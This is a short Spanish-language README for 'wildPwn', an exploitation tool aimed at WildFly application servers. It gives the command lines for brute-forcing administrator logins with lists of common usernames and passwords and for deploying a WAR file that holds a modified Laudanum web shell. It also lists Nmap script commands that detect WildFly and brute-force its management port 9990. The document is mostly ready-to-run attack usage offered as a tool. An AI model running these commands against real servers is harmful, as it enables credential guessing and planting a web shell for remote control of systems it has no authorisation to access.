wildPwn - Herramienta de Explotación para WildFly

Es una herramienta para WildFly. Puede utilizarse para fuerza bruta o despliegue de shell. wildPwn.war contiene un Shell de Laudanum modificado. userList.txt contiene nombres de usuario comunes y passList.txt contiene contraseñas comunes.

Uso

Fuerza bruta

python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST> 

Despliegue de shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

Detalles

https://artofpwn.com/wildfly-exploitation.html

Video

Scripts de Nmap

Detección

nmap --script wildfly-detect <TARGET>

Fuerza bruta

nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>